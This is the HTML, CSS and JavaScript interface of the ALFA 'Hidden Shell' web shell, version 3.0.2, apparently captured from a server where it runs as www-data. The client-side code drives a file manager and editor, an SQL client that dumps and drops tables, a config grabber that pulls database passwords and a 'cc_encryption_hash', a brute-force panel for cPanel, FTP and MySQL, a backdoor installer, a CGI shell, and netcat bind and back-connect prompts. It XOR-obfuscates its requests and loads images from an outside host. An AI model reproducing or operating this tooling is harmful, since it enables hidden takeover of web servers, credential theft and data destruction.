.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.ajaxarea .header center a{color: #00FF00;}.ajaxarea .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #27E8AE;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}#up_bar{background-color: #ff0000;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #ff0000;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan'
var charset_ = '';
var alfa1_ = '';
var alfa2_ = '';
var alfa3_ = '';
var alfa4_ = '';
var alfa5_ = '';
var alfa6_ = '';
var alfa7_ = '';
var alfa8_ = '';
var alfa9_ = '';
var alfa10_ = '';
var d = document;
var mysql_cache = {};
var editor_files = {};
var editor_error = true;
var editor_current_file = '';
var is_minimized = false;
var cgi_is_minimized = false;
var cgi_lang = '';
var upcount = 1;
var islinux = true;
var post_encryption_mode = true;
function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;if(alfa1!=null)d.mf.alfa1.value=alfa1;else d.mf.alfa1.value=alfa1_;if(alfa2!=null)d.mf.alfa2.value=alfa2;else d.mf.alfa2.value=alfa2_;if(alfa3!=null)d.mf.alfa3.value=alfa3;else d.mf.alfa3.value=alfa3_;if(alfa4!=null)d.mf.alfa4.value=alfa4;else d.mf.alfa4.value=alfa4_;if(alfa5!=null)d.mf.alfa5.value=alfa5;else d.mf.alfa5.value=alfa5_;if(alfa6!=null)d.mf.alfa6.value=alfa6;else d.mf.alfa6.value=alfa6_;if(alfa7!=null)d.mf.alfa7.value=alfa7;else d.mf.alfa7.value=alfa7_;if(alfa8!=null)d.mf.alfa8.value=alfa8;else d.mf.alfa8.value=alfa8_;if(alfa9!=null)d.mf.alfa9.value=alfa9;else d.mf.alfa9.value=alfa9_;if(alfa10!=null)d.mf.alfa10.value=alfa10;else d.mf.alfa10.value=alfa10_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}function fc(a){alfaloader("block");var b="a="+alfab64("FilesMan")+"&c="+alfab64(a.c.value)+"&alfa1="+alfab64(a.alfa1.value)+"&ajax="+alfab64("true")+"&",c="";for(i=0;i<d.files.elements.length;i++)"checkbox"==d.files.elements[i].type&&d.files.elements[i].checked&&(c+="f[]="+alfab64(d.files.elements[i].value)+"&");_Ajax(d.URL,b+c,function(a){alfaloader("none")},!0)}function initDir(a){var b="",c="";islinux&&(b="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" href='javascript:void(0);'>/</a>",c="/");var e=a.split("/"),f="",g="";"-1"!=e.indexOf("..")&&(e.splice(e.indexOf("..")-1,1),e.splice(e.indexOf(".."),1));for(i in e)""!=e[i]&&(f+="<a onclick=\"g('FilesMan','"+g+e[i]+"/');\" href='javascript:void(0);' class=\"header_pwd\">"+e[i]+"/</a>",g+=e[i]+"/");$("header_cwd").innerHTML=b+f+" ";var e=c+e.join("/");e=e.replace("//","/"),d.footer_form.c.value=e,$("footer_cwd").value=e,c_=e}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(a,b,c,e){var f=!1;return window.XMLHttpRequest?f=new XMLHttpRequest:window.ActiveXObject&&(f=new ActiveXObject("Microsoft.XMLHTTP")),f?(f.onreadystatechange=function(){4==f.readyState&&200==f.status&&("function"!=typeof c?d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText:e?(d.getElementsByClassName("ajaxarea")[0].innerHTML=f.responseText,c(f.responseText)):c(f.responseText))},f.open("POST",a,!0),f.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),f.send(b),void 0):void alert("Error !")}function handleup(a,b){var c="__fnameup";0!=b&&(c="__fnameup"+b),a.files[0].name&&($(c).innerHTML=a.files[0].name)}function u(a){alfaloader("block");a.submit.disabled=true;var av = a.a.value,cv = a.c.value,alv = a.alfa1.value,cha = a.charset.value;var b=!1;if(a.a.value=alfab64(a.a.value),a.c.value=alfab64(a.c.value),a.alfa1.value=alfab64(a.alfa1.value),a.charset.value=alfab64(a.charset.value),window.XMLHttpRequest?b=new XMLHttpRequest:window.ActiveXObject&&(b=new ActiveXObject("Microsoft.XMLHTTP")),b){var c=$("up_bar");b.upload&&(c.style.display="block",b.upload.onprogress=function(a){var b=a.position||a.loaded,d=a.totalSize||a.total,e=Math.floor(b/d*1e3)/10+"%";c.style.width=e}),b.onload=function(e){for(200===b.status?(_Ajax(d.URL,"a="+alfab64("FilesMan")+"&c="+a.c.value+"&ajax="+alfab64("true")),c.style.display="none",a.a.value=av,a.c.value=cv,a.alfa1.value=alv,a.charset.value=cha):alert("An error occurred!"),$("footerup").value="",$("__fnameup").innerHTML="";upcount;){var f=$("pfooterup_"+upcount);f&&f.parentNode.removeChild(f),upcount--}0==upcount&&upcount++,alfaloader("none"),a.submit.disabled=false},b.onerror=function(a){};var e=new FormData(a);b.open("POST",d.URL),b.send(e)}}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),"GetConfig"!=a&&"download"!=alfa2&&(d.getElementsByClassName("ajaxarea")[0].innerHTML='<center><br /><img id="alfaloader" src="http://solevisible.com/images/loader.png"></img><br /><br /></center>'),islinux&&"/"!=d.mf.c.value.substr(0,1)&&(d.mf.c.value="/"+d.mf.c.value);for(var data="a="+alfab64(a)+"&c="+alfab64(d.mf.c.value)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d.mf.c.value),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data),c!=c_&&c&&initDir(c)):(alfaloader("block"),_Ajax(d.URL,data,function(a){try{a=JSON.parse(a),a.host&&a.user&&a.dbname&&($("db_host")&&($("db_host").value=a.host),$("db_user")&&($("db_user").value=a.user),$("db_name")&&($("db_name").value=a.dbname),$("db_pw")&&($("db_pw").value=a.password),$("db_prefix")&&a.prefix&&($("db_prefix").value=a.prefix),$("cc_encryption_hash")&&a.cc_encryption_hash&&($("cc_encryption_hash").value=a.cc_encryption_hash))}catch(a){}alfaloader("none")}))}function alfaloader(a){$("a_loader").style.display=a}function fsu(a){alfaloader("block");for(var b={},c=0;c<a.elements.length;c++)"submit"!=a.elements[c].type&&(b[a.elements[c].name]=a.elements[c].value);for(c in mysql_cache)mysql_cache[c]=alfab64(mysql_cache[c]);_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("update")+"&alfa2="+alfab64(JSON.stringify(b))+"&c="+alfab64(c_)+"&charset="+mysql_cache.charset+"&type="+mysql_cache.type+"&sql_host="+mysql_cache.host+"&sql_login="+mysql_cache.user+"&sql_pass="+mysql_cache.pass+"&sql_base="+mysql_cache.db+"&sql_count="+mysql_cache.count+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function fs(f,e){alfaloader("block");var alfa1="query",alfa2=f.query?alfab64(f.query.value):"",host=f.sql_host?f.sql_host.value:mysql_cache.host,user=f.sql_login?f.sql_login.value:mysql_cache.user,pass=f.sql_pass?f.sql_pass.value:mysql_cache.pass,db=f.sql_base?f.sql_base.value:mysql_cache.db,type=f.type?f.type.value:mysql_cache.type,charset=f.charset?f.charset.value:mysql_cache.charset,count="";switch(count=f.sql_count?f.sql_count.checked?"true":"":mysql_cache.count,f){case"0":alfa1="select",alfa2=alfab64(e);break;case"1":e=eval(e),alfa1="select",alfa2=alfab64(e[0])+"&alfa3="+alfab64(e[1]);break;case"2":e=eval(e),alfa1="edit",alfa2=alfab64(db)+"&alfa3="+alfab64(e.join(":"));break;case"3":alfa1="loadfile",alfa2=alfab64(e);break;case"4":case"5":alfa1=(f=="4"?"dumpfile":"droptbl");var obj={},id=$("dumpfile");for(obj.file=id?id.value:"dump.sql",obj.tbl=[],i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked&&obj.tbl.push(d.sf.elements["tbl[]"][i].value);alfa2=alfab64(JSON.stringify(obj))}_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64(alfa1)+"&alfa2="+alfa2+"&c="+alfab64(c_)+"&charset="+alfab64(charset)+"&type="+alfab64(type)+"&sql_host="+alfab64(host)+"&sql_login="+alfab64(user)+"&sql_pass="+alfab64(pass)+"&sql_base="+alfab64(db)+"&sql_count="+alfab64(count)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},!0)}function ctlbc(a){var b=$("bcStatus"),c=$("bcipAction");"bind"==a.value?(c.style.display="none",b.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(c.style.display="inline-block",b.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function is(){for(i=0;i<d.sf.elements["tbl[]"].length;++i)d.sf.elements["tbl[]"][i].checked=!d.sf.elements["tbl[]"][i].checked}function $(a){return d.getElementById(a)}function addnewup(){var a="footerup_"+upcount,b="pfooterup_"+upcount,c=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",e=d.createElement("p");e.innerHTML='<label class="inputfile" for="'+a+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+a+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');">',e.id=b,e.appendAfter($(c)),upcount++}function alfa_searcher_tool(a){switch(a){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(a,b){d.srch.ext.disabled=a,d.srch.ext.value=b}function dis_input(a){switch(a){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(a,b,d){"21"!=b?c="localhost":c="ftp.example.com",$("port").disabled=a,$("port").value=b,$("target").value=c,$("protocol").value=d}Element.prototype.appendAfter=function(a){a.parentNode.insertBefore(this,a.nextSibling)};function inBackdoor(t){if(t.value=="my"){$("backdoor_textarea").style.display="block";}else{$("backdoor_textarea").style.display="none";}}
function saveByKey(event){
	if(!(String.fromCharCode(event.which).toLowerCase() == 's' && event.ctrlKey) && !(event.which == 19))return true;
	$("editor_edit_area").onsubmit();
	event.preventDefault();
	return false;
}
function setCookie(cname, cvalue, exdays){
    var d = new Date();
    d.setTime(d.getTime() + (exdays*24*60*60*1000));
    var expires = "expires="+ d.toUTCString();
    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function getCookie(name){
  var value = "; " + document.cookie;
  var parts = value.split("; " + name + "=");
  if (parts.length == 2) return parts.pop().split(";").shift();
}
function editorClose(pos){
	d.body.style.overflow = "visible";
	elem = $(pos);
	elem.setAttribute("class", "editor-anim-close");
	if(pos == "editor"){
		is_minimized = false;
	}else{
		cgi_is_minimized = false;
	}
	setTimeout(function(){
		elem.removeAttribute("class");
		elem.style.display = "none";
	}, 1000);
	d.body.style.overflow = "visible";
}
function showEditor(pos){
	$(pos).setAttribute("class", "editor-anim-show");
	$(pos+"-minimized").setAttribute("class", "minimized-hide");
	if(pos == "editor"){
		is_minimized = false;
		if(cgi_is_minimized){
			$("cgiloader-minimized").style.top = "30%";
		}
	}else{
		cgi_is_minimized = false;
		if(is_minimized){
			$("editor-minimized").style.top = "30%";
		}
	}
	d.body.style.overflow = "hidden";
}
function editorMinimize(pos){
	$(pos).setAttribute("class", "editor-anim-minimize");
	$(pos+"-minimized").setAttribute("class", "minimized-show");
	if(pos == "editor"){
		is_minimized = true;
		if(cgi_is_minimized){
			$("cgiloader-minimized").style.top = "20%";
			$("editor-minimized").style.top = "50%";
		}else{
			$("editor-minimized").style.top = "30%";
		}
	}else{
		cgi_is_minimized = true;
		if(is_minimized){
			$("cgiloader-minimized").style.top = "20%";
			$("editor-minimized").style.top = "50%";
		}else{
			$("cgiloader-minimized").style.top = "30%";
		}
	}
	d.body.style.overflow = "visible";
}
function clearEditorHistory(){
	var check = confirm("Are u Sure?");
	if(check){
		for(var i in editor_files){
			if(i != editor_current_file){
				removeHistory(i);
			}
		}
	}
}
function editor(file, mode, arg, pwd, file_id, type){
	if(type=="dir"&&file=="..")return false;
	if(mode == "download"){
		g("FilesTools",pwd,file,"download");
		return false;
	}
	var param = "", fid = "", pure_fid = "", cwd = d.mf.c.value, can_append = true;
	file = file.trim();
	if(Object.keys(editor_files).length == 0){
		var cookie_file = getCookie("alfa_history_files");
		try{
			editor_files = JSON.parse(cookie_file);
			for(var t in editor_files){
				insertToHistory(t, editor_files[t].file, 0, editor_files[t].type);
			}
		}catch(e){}
	}
	if(file.indexOf("/") != -1){
		var file_split = file.split("/");
		file = file_split[file_split.length - 1];
		delete file_split[file_split.length - 1];
		cwd = file_split.join("/");
		if(islinux){
			cwd = "/"+cwd;
		}
	}
	if(typeof type == "undefined"){
		type = "";
	}
	if(typeof pwd != "undefined" && pwd != null && pwd.length != 0){
		cwd = pwd.trim();
	}
	try{
		for(var i in editor_files){
			if(editor_files[i].file == decodeURIComponent(file) && editor_files[i].pwd.replace(/\//g,"") == cwd.replace(/\//g,"")){
				can_append = false;
				file_id = i;
				break;
			}
		}
	}catch(e){
		console.log(e);
	}
	editor_error = true;
	if(typeof arg != "undefined" && arg.length != 0 && arg != null){
		param = alfab64(arg);
	}
	if(typeof file_id != "undefined" && file_id != null && file_id.length != 0){
		fid = alfab64(file_id);
		pure_fid = file_id;
	}else{
		var rand_fid = "file_" + getRandom(10);
		fid = alfab64(rand_fid);
		pure_fid = rand_fid;
	}
	alfaloader("block");
	_Ajax(d.URL, "a="+alfab64("FilesTools")+"&c="+alfab64(cwd)+"&alfa1="+alfab64(file)+"&alfa2="+alfab64(mode)+"&alfa3="+param+"&alfa4="+fid+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"), function(e){
		document.querySelector(".editor-content").innerHTML = e;
		$("editor").style.display  = "block";
		alfaloader("none");
		evalJS(e);
		if(mode != "delete" && editor_error){
			var active = d.getElementsByClassName("is_active");
			if(active.length != 0){
				active[0].className = "file-holder";
			}
			fid = pure_fid;
			file = decodeURIComponent(file);

			if(!editor_files[fid] && can_append){
				editor_files[fid] = {"file": file, "pwd": cwd, "type": type};
				insertToHistory(fid, file, " is_active", type);
				if(mode=="mkfile"){
					g("FilesMan",null);
				}
			}else{
				$(fid).parentNode.className += " is_active";
			}
		}
		d.body.style.overflow = "hidden";
		d.getElementsByClassName("filestools")[0].setAttribute("fid", fid);
		if(editor_files[fid]){
			d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
		}
		editor_current_file = fid;
		if(is_minimized){
			showEditor("editor");
		}
		updateCookieEditor();
	});
	return false;
}
function insertToHistory(fid, file, mode, type){
	var active = "";
	if(mode && mode != 0){
		active = mode;
	}
	var NewElement = document.createElement("div");
	NewElement.innerHTML = "<div id='"+fid+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(file,type,fid)+"</div><div class='editor-file-name'>"+file+"</div></div><div class='history-close' onClick='removeHistory(\""+fid+"\");'>X</div>";
	NewElement.className = "file-holder" + active;
	NewElement.addEventListener("mouseover", function(){setEditorTitle(fid,"over");this.childNodes[1].style.opacity = "1";});
	NewElement.addEventListener("mouseout", function(){setEditorTitle(fid,"out");this.childNodes[1].style.opacity = "0";});
	var refNode = d.getElementsByClassName("history-list")[0];
	refNode.insertBefore(NewElement, refNode.firstChild);
}
function loadType(file,type,id){
	if(type == "none"){
		_Ajax(d.URL, "a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[id].pwd)+"&arg="+alfab64(editor_files[id].file), function(e){
			$(id).innerHTML = "<div class='editor-icon'>"+loadType(editor_files[id].file,e,id)+"</div><div class='editor-file-name'>"+editor_files[id].file+"</div>";
			editor_files[id].type = e;
		});
	}
	var img = '<img src="http://solevisible.com/icons/{type}" width="30" height="30">';
	if(type == "file"){
		type = file.split(".");
		type  = type[type.length - 1].toLowerCase();
		var types = ["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"];
		if(types.indexOf(type) == -1){
			type = "notfound";
		}
	}else{
		type = "folder";
	}
	return img.replace("{type}",  type + ".png");
}
function updateDirsEditor(fid, fname){
	var current_path = d.mf.c.value + "/";
	var oldpath  = editor_files[fid].pwd + "/" + fname + "/";
	var newpath  = editor_files[fid].pwd + "/" + editor_files[fid].file + "/";
	oldpath = oldpath.replace(/\/\//g, "/");
	newpath = newpath.replace(/\/\//g, "/");
	current_path = current_path.replace(/\/\//g, "/");
	if(current_path.search(oldpath) != -1){
		initDir(current_path.replace(oldpath, newpath));
		d.mf.c.value = current_path.replace(oldpath, newpath);
		_Ajax(d.URL,"a="+alfab64("updatepath")+"&path="+alfab64(d.mf.c.value),function(e){console.log(e)});
	}
	for(var i in editor_files){
		var path = editor_files[i].pwd + "/";
		path = path.replace(/\/\//g, "/");
		if(path.search(oldpath) != -1){
			editor_files[i].pwd = path.replace(oldpath, newpath);
		}
	}
	var reg1 = new RegExp("'"+oldpath.slice(0, -1)+"'");
	var reg2 = new RegExp(fname + " \\|</b></a>");
	d.files.innerHTML = d.files.innerHTML.replace(reg1, "'"+newpath.slice(0, -1)+"'");
	d.files.innerHTML = d.files.innerHTML.replace(reg2, editor_files[fid].file+" |</b></a>");
	updateCookieEditor();
}
function updateCookieEditor(){
	setCookie("alfa_history_files", JSON.stringify(editor_files), 2012);
}
function setEditorTitle(fid, mode){
	if(mode == "out" && editor_current_file != ""){
		fid = editor_current_file;
	}
	if(editor_files[fid]){
		d.getElementsByClassName("editor-path")[0].innerHTML = (editor_files[fid].pwd + "/" + editor_files[fid].file).replace(/\/\//g, "/");
	}
}
function removeHistory(el){
	delete editor_files[el];
	if($(el)){
		$(el).parentNode.parentNode.removeChild($(el).parentNode);
	}
	var elm = d.getElementsByClassName("filestools")[0];
	if(elm){
		if(elm.getAttribute("fid") == el){
			elm.outerHTML = "";
		}
	}
	if(editor_current_file == el){
		editor_current_file = "";
	}
	updateCookieEditor();
}
function getRandom(e){
	for(var i = "undefined" == typeof e ? 20 : e, t = "", s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", n = i; n > 0; --n) t += s[Math.floor(Math.random() * s.length)];
	return t
}
function reopen(el){
	var file_id = el.getAttribute("id")
	var pwd = editor_files[file_id].pwd;
	var filename = editor_files[file_id].file;
	editor(filename, "auto", "", pwd, file_id);
}
function copyToClipboard(el){
	var node = document.getElementById(el);
	if(document.selection){
		var range = document.body.createTextRange();
		range.moveToElementText(document.getElementById(el));
		range.select();
		document.execCommand("Copy");
		alert("text copied");
	}else if (window.getSelection()){
		var range = document.createRange();
		range.selectNode(document.getElementById(el));
		window.getSelection().removeAllRanges();
		window.getSelection().addRange(range);
		document.execCommand("copy");
		alert("text copied");
	}
}
function encrypt(str, pwd) {
	if (pwd == null || pwd.length <= 0) {
		return null;
	}
	str = alfab64(str, true);
	pwd = alfab64(pwd, true);
	var enc_chr = "";
	var enc_str = "";
	var i = 0;
	while (i < str.length) {
		for (var j = 0; j < pwd.length; j++) {
			enc_chr = str.charCodeAt(i) ^ pwd.charCodeAt(j);
			enc_str += String.fromCharCode(enc_chr);
			i++;
			if (i >= str.length) break;
		}
	}
	return alfab64(enc_str, true);
}
function reloadSetting(e){
alfaloader("block");
_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(a){evalJS(a),alfaloader("none")},true);
if(e.e.value==0&&e.protect.value==1)setTimeout("location.reload()",1000);
if(e.s.value!=e.icon.value)setTimeout("location.reload()",1000);
return false
}
function reloadColors(config){
	var obj = {};
	if(typeof config == "undefined"){
		d.querySelectorAll(".colors_input").forEach(function(e){
			var id = e.getAttribute("target").replace(".", "");
			obj[id] = e.value;
		});
	}else{
		obj = config;
	}
	alfaloader("block");
	var checdk = ($("use_default_color").checked?"1":"0");
	_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(obj))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(checdk)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){alfaloader("none");evalJS(e);},true);
}
function alfab64(a, normal){
	if(typeof normal != "undefined" || post_encryption_mode == false){
		return window.btoa(unescape(encodeURIComponent(a)));
	}
	return encrypt(a, "171388846563e97536220f58.98877408");
}
function evalCss(jcss){
	var style = document.createElement("style");
	if (style.styleSheet) {
		style.styleSheet.cssText = jcss;
	} else {
		style.appendChild(document.createTextNode(jcss));
	}
	d.getElementsByTagName("head")[0].appendChild(style);
}
function colorHandlerKey(el){
	setTimeout(function(e){
		colorHandler(el);
	}, 200);
}
function colorHandler(el){
	var target = el.getAttribute("target");
	var multi = el.getAttribute("multi");
	var ishover = target.indexOf(":hover");
	if(multi){
		var array = JSON.parse(atob(multi));
		var jcss = "";
		for(i in array.multi_selector){
			jcss += i + "{"+array.multi_selector[i].replace(/{color}/g, el.value)+"}";
		}
		evalCss(jcss);
	}
	if(ishover != -1 && !multi){
		$("input_" + target.replace(".","")).value = el.value;
		$("gui_" + target.replace(".","")).value = el.value;
		var css = target+"{color: "+el.value+";}";
		evalCss(css);
	}else{
		$("input_" + target.replace(".","")).value = el.value;
		$("gui_" + target.replace(".","")).value = el.value;
		if(target == ".header_values"){
			target = ".header,.header_values";
		}
		d.querySelectorAll(target).forEach(function(e){
			e.style.color = el.value;
		});
	}
}
function importConfig(event){
	var input = event.target;
    var reader = new FileReader();
    reader.onload = function(){
      var data = reader.result;
	  try{
		  var conf = JSON.parse(data);
		  reloadColors(conf);
	  }catch(e){
		  alert("Config is invalid...!");
	  }
	  $("importFileBtn").value = "";
    };
    reader.readAsText(input.files[0]);
}
function checkBox(){for(i=0;i<d.files.elements.length;i++){if(d.files.elements[i].type == "checkbox"){d.files.elements[i].checked = d.files.elements[0].checked;}}}
function path_history(pos){
	_Ajax(d.URL,"a="+alfab64("GetPathHistory")+"&ajax="+alfab64("true"),function(e){g("FilesMan", e);},true);
}
function runcgi(lang){
	if(cgi_is_minimized && cgi_lang == lang){
		showEditor("cgiloader");
		return false;
	}
	_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(lang)+"&ajax="+alfab64("true"),function(e){
		d.body.style.overflow = "hidden";
		$("cgiloader").style.display = "block";
		$("cgiframe").innerHTML = e;
		cgi_lang = lang;
		if(cgi_is_minimized){
			$("cgiloader-minimized").setAttribute("class", "minimized-hide");
			setTimeout(function(){
				$("cgiloader").removeAttribute("class");
				if(is_minimized){
					$("editor-minimized").style.top = "30%";
				}
			}, 1000);
		}
	});
}
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<img id="a_loader" src="http://solevisible.com/images/loader.png">


<div id="up_bar"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1"><input type="hidden" name="alfa2"><input type="hidden" name="alfa3"><input type="hidden" name="alfa4"><input type="hidden" name="alfa5"><input type="hidden" name="alfa6"><input type="hidden" name="alfa7"><input type="hidden" name="alfa8"><input type="hidden" name="alfa9"><input type="hidden" name="alfa10"><input type="hidden" name="charset">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell<br><small>Version: <span class="hidden_shell_version">3.0.2</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1 <span class="header_vars">Your IP:</span><b> ::1</b></b></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-13 02:54:38</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>190.63 GB [88%]</b></td>
